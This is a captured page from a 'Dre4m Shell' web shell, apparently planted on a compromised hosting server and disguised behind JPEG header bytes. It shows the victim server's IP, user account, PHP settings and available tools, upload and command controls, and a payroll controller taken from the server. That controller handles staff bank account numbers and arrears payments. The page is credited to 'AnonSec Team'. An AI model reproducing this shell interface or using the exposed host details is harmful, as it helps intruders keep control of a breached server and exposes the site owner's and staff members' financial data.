ÿØÿàJFIFÿáExifMM*ÿÛC  Dre4m Was Here
Dre4m Shell
Server IP : 199.250.214.225  /  Your IP : 52.15.211.173
Web Server : Apache
System : Linux vps64074.inmotionhosting.com 3.10.0-1160.105.1.vz7.214.3 #1 SMP Tue Jan 9 19:45:01 MSK 2024 x86_64
User : nicngo5 ( 1001)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : OFF
Directory :  /home/nicngo5/.trash/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /home/nicngo5//.trash/PeculiarArrearsController20231122A.php
<?php

namespace App\Http\Controllers;

use App\Http\Requests;
use Illuminate\Http\Request;
use DB;
use Carbon\Carbon;

//use \DateTime;
use App\Services\Formatter;
use Auth;
use Session;

class PeculiarArrearsController extends ParentController
{
    public function __construct()
    {
        $this->month = date("n", strtotime(Session::get('activeMonth')));
        $this->activemonth = Session::get('activeMonth');
        $this->year = Session::get('activeYear');
        $this->divisionID = Session::get('divisionID');
        $this->division = Session::get('division');
        $this->details = Auth::user()->name.", ".$this->division;
    }
  
    private function dateDiff($date2, $date1)
	{
		list($year2, $mth2, $day2) = explode("-", $date2);
		list($year1, $mth1, $day1) = explode("-", $date1);
		if ($year1 > $year2) dd('Invalid Input - dates do not match');
		//$days_month = 0;
		$days_month = cal_days_in_month(CAL_GREGORIAN, $mth1, $year1);
		$day_diff = 0;

		if($year2 == $year1){
			$mth_diff = $mth2 - $mth1;
		}
		else{
			$yr_diff = $year2 - $year1;
			$mth_diff = (12 * $yr_diff) - $mth1 + $mth2;
		}
		if($day1 > 1){
			$mth_diff--;
			//dd($mth1.",".$year1);
			$day_diff = $days_month - $day1 + 1;
		}

		$result = array('months'=>$mth_diff, 'days'=> $day_diff, 'days_of_month'=>$days_month);
		return($result);
	}

public function peculiarArrearsIndex()
{
    return view('peculiarArrears.peculiarArrearsIndex');
}

public function peculiarArrearsCompute(Request $request)
{
    $totalMonths = $request['totalMonths'];
    $dueDate = $request['dueDate'];
    $staff = DB::table('tblper')->where('staff_status','=',1)->where('employee_type','<>','CONSOLIDATED')->where('employee_type','=','JUDICIAL')->where('appointment_date','<',$dueDate)->get();
    $no_staff = 0;
    $count = DB::table('tblarrears')
    ->where('month',     '=', $request['month'])
    ->where('year',      '=', $request['year'])
    ->count();
    
   //dd($this->dateDiff('2020-02-29','2019-06-01'));
    //dd($diff['months']);
    if($count == 0)
    {
    foreach($staff as $list)
    {
        $bank = DB::table('tblbanklist')
        ->join('tblbank','tblbank.bankID','=','tblbanklist.bankID')
        ->where('tblbanklist.bankID','=',$list->bankID)
        ->where('tblbank.bankID','=',$list->bankID)
        ->where('tblbank.divisionID','=',$list->divisionID)
        ->first();
        $diffs = $this->dateDiff($dueDate,$list->appointment_date);
        $diff = $diffs['months'] + 1;
        if($diff > 10)
        {
            $numOfmonths = $totalMonths;
        }
        else
        {
            $numOfmonths = $diff;
        }
        $newScale = DB::table('basicsalary')->where('employee_type','=',$list->employee_type)->where('grade','=',$list->grade)->where('step','=',$list->step)->first();
        $oldScale = DB::table('basicsalary_02_27_2020')->where('employee_type','=',$list->employee_type)->where('grade','=',$list->grade)->where('step','=',$list->step)->first();
        $basic = ($newScale->peculiar - $oldScale->peculiar) * $numOfmonths; 
        DB::table('tblarrears')->insert([
            'fileNo'               => $list->fileNo,
            'name'                 => "$list->surname $list->first_name $list->othernames",
            'grade'                => $list->grade,
            'step'                 => $list->step,
            'bank'                 => $bank->bank,
            'AccNo'                => $list->AccNo,
            'amount'               => $basic,
            'purpose'              => 'Peculiar Arrears',
            'month'       => $request['month'],
            'year'        => $request['year'],
            'updated_at'           => date('Y-m-d'),
            
            ]);
            
            $no_staff++;
        
    }
    
    return redirect('/peculiar-arrears')->with('msg','Successfully computed '.$no_staff.' staff arrears');
    }
    else
    {
        
         foreach($staff as $list)
    {
         $bank = DB::table('tblbanklist')
        ->join('tblbank','tblbank.bankID','=','tblbanklist.bankID')
        ->where('tblbanklist.bankID','=',$list->bankID)
        ->where('tblbank.bankID','=',$list->bankID)
        ->where('tblbank.divisionID','=',$list->divisionID)
        ->first();
        $diffs = $this->dateDiff($dueDate,$list->appointment_date);
        $diff = $diffs['months'] + 1;
        
        if($diff > 10)
        {
            $numOfmonths = $totalMonths;
        }
        else
        {
            $numOfmonths = $diff;
        }
        $newScale = DB::table('basicsalary')->where('employee_type','=',$list->employee_type)->where('grade','=',$list->grade)->where('step','=',$list->step)->first();
        $oldScale = DB::table('basicsalary_02_27_2020')->where('employee_type','=',$list->employee_type)->where('grade','=',$list->grade)->where('step','=',$list->step)->first();
        $basic = ($newScale->peculiar - $oldScale->peculiar) * $numOfmonths; 
        DB::table('tblarrears')->where('fileNo','=',$list->fileNo)->where('grade','=',$list->grade)->where('step','=',$list->step)->update([
           'fileNo'               => $list->fileNo,
            'name'                 => "$list->surname $list->first_name $list->othernames",
            'grade'                => $list->grade,
            'step'                 => $list->step,
            'bank'                 => $bank->bank,
            'AccNo'                => $list->AccNo,
            'amount'               => $basic,
            'purpose'              => 'Peculiar Arrears',
            'month'       => $request['month'],
            'year'        => $request['year'],
            'updated_at'           => date('Y-m-d'),
            
            ]);
            
            $no_staff++;
        
    }
    
    return redirect('/peculiar-arrears')->with('msg','Successfully computed '.$no_staff.' staff arrears');
        
    }
            
}

public function peculiarArrearsView()
{
    return view('peculiarArrears.peculiarArrearsExport');
}

public function peculiarArrearsExport(Request $request)
{
     $this->validate($request, 
        [
      
      'month'   => 'required|alpha',
      'year'       => 'required|numeric',
      
    ]);
      
       $month              = trim($request['month']);
       $year               = trim($request['year']);
      
         

            $st =  DB::table('tblarrears')
            ->join('tblbanklist','tblbanklist.bank','=','tblarrears.bank')
            ->where('year','=',$year)->where('month','=',$month)
            ->select('fileNo','name','grade','step','amount','tblarrears.bank as bankname','sortcode','AccNo')
            ->orderBy('tblarrears.bank','ASC')
            ->orderBy('tblarrears.grade','DESC')->orderBy('tblarrears.step','DESC')->get();
            
           
       $staff = json_decode(json_encode($st), true);

          $file_name =  "peculiar_arrears_for " . '_' . $month . '_' . $year . '_'.'.csv';

        
    
        header("Content-Type: text/csv");
        header("Content-Disposition: attachment; filename=$file_name");
        header("Cache-Control: no-cache, no-store, must-revalidate");
        header("Pragma: no-cache");
        header("Expires: 0");
    
        # Start the ouput
        $output = fopen("php://output", "w");
        
        
            fputcsv($output, array('File Number', 'Name', 'Grade', 'Step', 'Amount', 'Bank', 'Sort Code', 'Account Number '));
       
        foreach ($st as $row) 
        {
             $dts = array();
            
            # Add the rows to the body
            $fileno = $row->fileNo;
            $name = $row->name;
            $grade = $row->grade;
            $step = $row->step;
            $amount = $row->amount;
            $bank= $row->bankname;
            $scode  = "\t".$row->sortcode;
            $acct = "\t".$row->AccNo;
            $dts     = array($fileno,$name,$grade,$step,$amount,$bank,$scode,$acct);
            fputcsv($output, $dts); // here you can change delimiter/enclosure
        }
        # Close the stream off
        fclose($output);
}


public function epaymentIndex()
    {
           $data['allbanklist']  = DB::table('tblbanklist')
             ->orderBy('bank', 'Asc')
             ->get();
              return view('peculiarArrears.epaymentForm',$data);    
    }
      public function retrieveEpayment(Request $request)
{
  $month     = trim($request->input('month'));
  $year      = trim($request->input('year'));
  $bankID    = trim($request->input('bankName'));
  //$bankGroup = trim($request->input('bankGroup'));
  $division  = $this->division;
  $this->validate($request,[       
    'month'     => 'required|regex:/^[\pL\s\-]+$/u', 
    'year'      => 'required|integer', 
    'bankName'  => 'required|integer', 
    //'bankGroup' => 'required|integer'   
  ]);
  Session::put('serialNo', 1);
  Session::put('bankID', $bankID);
  //Session::put('bankGroup', $bankGroup);
  $getBank = DB::table('tblbanklist')
           ->where('bankID', $bankID)
           ->first();
           //dd($getBank);
  $bankName = $getBank->bank;
  $bankCode = DB::table('tblbank')
            ->where('bankID',$bankID)
            ->first();
            Session::put('bank', $bankName);
  Session::put('bankCode', $bankCode->bank_code);
  Session::put('sortCode', $bankCode->sort_code);
  $data['epayment_detail'] = DB::table('tblarrears')
        ->where('tblarrears.month',     '=', $month)
        ->where('tblarrears.year',      '=', $year)
        ->where('tblarrears.bank',      '=', $bankName )
        // ->orderBy('amount','DESC')
        ->orderBy('name','ASC')
        ->paginate(20);
  $data['epayment_total'] = DB::table('tblarrears')
        ->where('tblarrears.month',     '=', $month)
        ->where('tblarrears.year',      '=', $year)
        ->where('tblarrears.bank',      '=', $bankName )
        // ->orderBy('amount','DESC')
        ->orderBy('name','ASC')
        ->get();
  $totalRows= DB::table('tblarrears')
        ->where('tblarrears.month',     '=', $month)
        ->where('tblarrears.year',      '=', $year)
        ->where('tblarrears.bank',      '=', $bankName )
        ->count();
  if($totalRows<20)
  {
    Session::put('showTotal', "yes");
  }
  elseif ($totalRows==20) 
  {
    Session::put('showTotal', "yes"); 
  }
  else
  {
    Session::put('showTotal', "");  
  }
  Session::put('month', $month);
  Session::put('year', $year);
  Session::put('schmonth', $month." ".$year); 
  Session::put('bank', $bankName );

  //$data['getSignatory'] = DB::connection('mysql2')->table('tblsignatory')->get();

$check =  $data['sign1']  = DB::table('signatory')
       ->where('year', '=', $year)
       ->where('month', '=', $month)
       ->count();
    if($check === 0)
    {
      $data['name1'] = '';
      $data['name2'] = '';
      $data['name3'] = '';
      $data['phone1'] = '';
      $data['phone2'] = '';
      $data['phone3'] = '';
    }
    else
    {
  $sign1  = DB::table('signatory')
       ->where('year', '=', $year)
       ->where('month', '=', $month)
       ->where('sequence', '=',1)
       ->first();
  $sign2  = DB::table('signatory')
       ->where('year', '=', $year)
       ->where('month', '=', $month)
       ->where('sequence', '=',2)
       ->first();
   $sign3  = DB::table('signatory')
       ->where('year', '=', $year)
       ->where('month', '=', $month)
       ->where('sequence', '=',3)
       ->first(); 
//dd($sign1);
      $data['name1'] = $sign1->name;
      $data['name2'] = $sign2->name;
      $data['name3'] = $sign3->name;
      $data['phone1'] = $sign1->phone;
      $data['phone2'] = $sign2->phone;
      $data['phone3'] = $sign3->phone;
     }   

  return view('peculiarArrears.epayment', $data);
}


public function Retrieveget(Request $request)
{
  $division = $this->division;
  $serialNo = "";
  $pageNO   = "";
  $pageNO   = $request->get('page');
  if(is_null($pageNO))
  {
    $serialNo=1;
  }
  elseif( $pageNO==1) 
  {
    $serialNo=1;      
  }
  else 
  {
    $serialNo=(($pageNO-1)*20)+1;          }
    Session::put('serialNo', $serialNo);
    $month     = session('month');  
    $year      = session('year');  
    $bankID    = session('bankID');
    $bankGroup = session('bankGroup'); 
    $getBank   = DB::table('tblbanklist')
               ->where('bankID',$bankID)
               ->first();
    $bankName  = $getBank->bank;
    $data['epayment_detail'] = DB::table('tblarrears')
              ->where('tblarrears.month',     '=', $month)
              ->where('tblarrears.year',      '=', $year)
              ->where('tblarrears.bank',      '=', $bankName )
              // ->orderBy('amount','DESC')
              ->orderBy('name','ASC')
              ->paginate(20);
    $data['epayment_total'] = DB::table('tblarrears')
              ->where('tblarrears.month',     '=', $month)
              ->where('tblarrears.year',      '=', $year)
              ->where('tblarrears.bank',      '=', $bankName )
              // ->orderBy('amount','DESC')
              ->orderBy('name','ASC')
              ->get();
    $totalRows = DB::table('tblarrears')
              ->where('tblarrears.month',     '=', $month)
              ->where('tblarrears.year',      '=', $year)
              ->where('tblarrears.bank',      '=', $bankName )
              ->count();
    $max_row    = 20;
    $totalPages = ceil($totalRows/$max_row);
    if($pageNO  == $totalPages)
    {
      Session::put('showTotal', "yes");
    }
    else
    {
      Session::put('showTotal', "");
    }

    $data['getSignatory'] = DB::connection('mysql2')->table('tblsignatory')
                      ->get();

    $check =  $data['sign1']  = DB::table('signatory')
       ->where('year', '=', $year)
       ->where('month', '=', $month)
       ->count();
    if($check === 0)
    {
      $data['name1'] = '';
      $data['name2'] = '';
      $data['name3'] = '';
      $data['phone1'] = '';
      $data['phone2'] = '';
      $data['phone3'] = '';
    }
    else
    {
  $sign1  = DB::table('signatory')
       ->where('year', '=', $year)
       ->where('month', '=', $month)
       ->where('sequence', '=',1)
       ->first();
  $sign2  = DB::table('signatory')
       ->where('year', '=', $year)
       ->where('month', '=', $month)
       ->where('sequence', '=',2)
       ->first();
   $sign3  = DB::table('signatory')
       ->where('year', '=', $year)
       ->where('month', '=', $month)
       ->where('sequence', '=',3)
       ->first(); 

      $data['name1'] = $sign1->name;
      $data['name2'] = $sign2->name;
      $data['name3'] = $sign3->name;
      $data['phone1'] = $sign1->phone;
      $data['phone2'] = $sign2->phone;
      $data['phone3'] = $sign3->phone;
     }

    return view('peculiarArrears.epayment', $data);
  }
  
  public function createBankSchedule()
    {
      $data['allbanklist']  = DB::table('tblbanklist')
            ->orderBy('bank', 'Asc')
            ->get();
      return view('peculiarArrears.bankScheduleIndex',$data);    
    }

    public function retrieveBankSchedule(Request $request)
{
 $month = trim($request->input('month'));
  $year = trim($request->input('year'));
  $bankName = trim($request->input('bankName'));
  //$bankGroup = trim($request->input('bankGroup'));
  
  
  $division = $this->division;
  $this->validate($request,[       
        'month'     => 'required|regex:/^[\pL\s\-]+$/u', 
        'year'      => 'required|integer', 
        'bankName'  => 'required|integer', 
        //'bankGroup' => 'required|integer'   
  ]);
  Session::put('serialNos', 1);
  $getBank  = DB::table('tblbanklist')->where('bankID',$bankName)->first();
  $bankName = $getBank->bank;
  $data['schedule_detail'] = DB::table('tblarrears')
            ->join('tblbanklist', 'tblbanklist.bank', '=','tblarrears.bank')
            ->where('tblarrears.month',     '=', $month)
            ->where('tblarrears.year',      '=', $year)
            ->where('tblarrears.bank',      '=',$bankName )
            // ->orderBy('amount','DESC')
            ->orderBy('name','ASC')
            ->paginate(20);
 // Session::put('schmonth', $month." ".$year); 
 // Session::put('date', date('d/m/Y'));
  Session::put('bank', $bankName);
   $totalRows = DB::table('tblarrears')
            ->where('tblarrears.month',     '=', $month)
            ->where('tblarrears.year',      '=', $year)
            ->where('tblarrears.bank',      '=',$bankName )
              ->count();
  
   if($totalRows<20)
  {
    Session::put('showTotals', "yes");
  }
  elseif ($totalRows==20) 
  {
    Session::put('showTotals', "yes"); 
  }
  else
  {
    Session::put('showTotals', "");  
  }
  
  Session::put('monthSelected', $month);
  Session::put('yearSelected', $year);
  //Session::put('schmonth', $month." ".$year); 
  Session::put('bankSelected', $bankName );
  return view('peculiarArrears.reportBankSchedule', $data);
}

public function retrieveSchedulePaged(Request $request)
{
  $division = $this->division;
  $serialNo = "";
  $pageNO   = "";
  $pageNO   = $request->get('page');
  if(is_null($pageNO))
  {
    $serialNo=1;
  }
  elseif( $pageNO==1) 
  {
    $serialNo=1;      
  }
  else 
  {
    $serialNo=(($pageNO-1)*20)+1;          }
    Session::put('serialNos', $serialNo);
    $month     = session('monthSelected');  
    $year      = session('yearSelected');  
    $bankName    = session('bankSelected');
    
     
    
    $data['schedule_detail'] = DB::table('tblarrears')
            ->join('tblbanklist', 'tblbanklist.bank', '=','tblarrears.bank')
            ->where('tblarrears.month',     '=', $month)
            ->where('tblarrears.year',      '=', $year)
            ->where('tblarrears.bank',      '=',$bankName )
            // ->orderBy('amount','DESC')
            ->orderBy('name','ASC')
            ->paginate(20);
    
    $totalRows = DB::table('tblarrears')
            ->where('tblarrears.month',     '=', $month)
            ->where('tblarrears.year',      '=', $year)
            ->where('tblarrears.bank',      '=',$bankName )
              ->count();
    $max_row    = 20;
    $totalPages = ceil($totalRows/$max_row);
    if($pageNO  == $totalPages)
    {
      Session::put('showTotals', "yes");
    }
    else
    {
      Session::put('showTotals', "");
    }


    return view('peculiarArrears.reportBankSchedule', $data);
  }
  
  
  
   
    public function loadView()
   {
	   $data['bank']  = DB::table('tblbanklist')
			 
			 ->orderBy('bank', 'Asc')
			 ->get();
	   $data['reporttype'] = DB::table('tbladmincode')
			 ->select('codeID', 'addressName', 'determinant')
	    	 ->orderBy('addressName', 'Asc')
			 ->get();
	   $data['workingstate'] = DB::table('tblstates')
		 	 ->select('StateID', 'State')
			 ->distinct()
	    	 ->orderBy('State', 'Asc')
			 ->get();
   	    return view('peculiarArrears.loadView', $data);
   }
   
   public function view(Request $request)
    { 
		$this->validate($request,  
		[
			'reportType'    => 'required|string',
			'month'         => 'required|alpha',
			'year'          => 'required|numeric',
			//'bank'          => 'required|string',
			//'bankGroup'     => 'required|numeric',
			//'workingState'  => 'required_if:reportType,tax|string',
		]);
		$val            = trim($request['reportType']);
		$month          = trim($request['month']);
		$year           = trim($request['year']);
		$bank           = trim($request['bank']);
	//	$bankgroup      = trim($request['bankGroup']);
		//$working_state  = trim($request['workingState']);
		

		$data['determinant'] = DB::table('tbladmincode')
		   ->where('determinant','=',$val)
           ->first();

           $data['year']  = $year;
           $data['month'] = $month;
           $data['type'] = $val;
		
		DB::enableQueryLog();
		
        $data['bank'] = $bank;
	
			if($bank == "")
			{
			    $data['payment'] = DB::table('tblarrears')
		  // ->join('tbladmincode','tbladmincode.determinant','=',$val)
		   //->where("tblarears_payment.$val",'<>',0)
		   ->where('tblarrears.month','=',$month)
           ->where('tblarrears.year','=',$year)
           //->where('tblarears_payment.division','=',$this->division)
           //->where('tblarears_payment.bank','=',$bank)
           //->where('tblarears_payment.bankGroup','=',$bankgroup)
           //->selectRaw('*,SUM(cumEmolu) as grossEmolument,SUM(totalDeduct) as totalDeduction,SUM(netpay) as netEmolument')
           ->get();
           $data['staff'] = DB::table('tblarrears')
		   ->where('tblarrears.month','=',$month)
           ->where('tblarrears.year','=',$year)
           ->orderBy('tblarrears.grade','DESC')
           ->first();
			}
			else
			{
            	$data['payment'] = DB::table('tblarrears')
		  // ->join('tbladmincode','tbladmincode.determinant','=',$val)
		   //->where("tblarears_payment.$val",'<>',0)
		   ->where('tblarrears.month','=',$month)
           ->where('tblarrears.year','=',$year)
           //->where('tblarears_payment.division','=',$this->division)
           ->where('tblarrears.bank','=',$bank)
           //->where('tblarears_payment.bankGroup','=',$bankgroup)
           //->selectRaw('*,SUM(cumEmolu) as grossEmolument,SUM(totalDeduct) as totalDeduction,SUM(netpay) as netEmolument')
           ->get();
           
           	$data['staff'] = DB::table('tblarrears')
		   ->where('tblarrears.month','=',$month)
           ->where('tblarrears.year','=',$year)
           ->where('tblarrears.bank','=',$bank)
           ->orderBy('tblarrears.grade','DESC')
           ->first();
           
			}
           
           
       
       //dd($data['payment']);
		if( count($data['payment']) ==0)
		{
			return back()->with('msg', 'Record not found! here');
		}
			//get sum total
			$noRecord   = 0;
			$amount     = 0.0;
			$totalUser  = 0;
			$total      = 0.0;
			//$getValue   = session::get("getval");
			foreach ($data['payment'] as $row) 
			{
                 $amount = ($row -> $val); 
                 
                 if( ($amount <> 0 ) )
				 {
					$totalUser   += 1;
					$total       += ($row -> $val);
				 }
				 $data['record']   =  $row;
			}//end foreach
			$totalUsers = $totalUser - 1;
			if($totalUser > 1)
				$userStatus = "and $totalUsers others";
			else
				$userStatus = "";
			$data['totalSum']   =  $total;
			$data['getStatus']  =  $userStatus;
			

			//if($data['payment'] && $data['totalSum'] <> 0)
				return view('peculiarArrears.report', $data);
			//else
				//return back()->with('msg', 'Record not found!');	
 
	}




    
    
}

Anon7 - 2022
AnonSec Team